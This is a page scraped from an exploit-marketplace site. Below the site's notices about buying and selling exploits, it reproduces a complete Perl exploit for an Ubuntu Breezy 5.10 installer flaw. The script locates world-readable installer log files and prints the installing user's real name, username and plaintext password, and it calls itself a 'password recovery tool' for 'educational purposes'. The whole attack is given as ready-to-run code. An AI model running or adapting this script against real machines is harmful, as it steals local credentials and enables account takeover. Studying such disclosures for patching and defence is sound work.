0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability
============================================================== Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability ============================================================== #!/usr/bin/perl -w use warnings; use strict; ############################################################################## # Author: Kristian Hermansen # Date: 3/12/2006 # Overview: Ubuntu Breezy stores the installation password in plain text # Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606 ############################################################################## print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n"; print "99% effective, thank your local admin ;-)\n"; print "FOR EDUCATIONAL PURPOSES ONLY!!!\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"; # the two vulnerable files my $file1 = "/var/log/installer/cdebconf/questions.dat"; my $file2 = "/var/log/debian-installer/cdebconf/questions.dat"; print "Checking if an exploitable file exists..."; if ( (-e $file1) || (-e $file2) ) { print "Yes\nNow checking if readable..."; if ( -r $file1 ) { getinfo($file1); } else { if ( -r $file2 ) { getinfo($file2); } else { print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n"; exit(-2); } } } else { print "No\nFile may have been deleted by the administrator :-(\nExiting...\n"; exit(-1); } sub getinfo { my $fn = shift; print "Yes\nHere come the details...\n\n"; my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`; my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`; my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`; chomp($realname); chomp($user); chomp($pass); print "Real Name: $realname\n"; print "Username: $user\n"; print "Password: $pass\n"; } # 0day.today [2024-11-15] #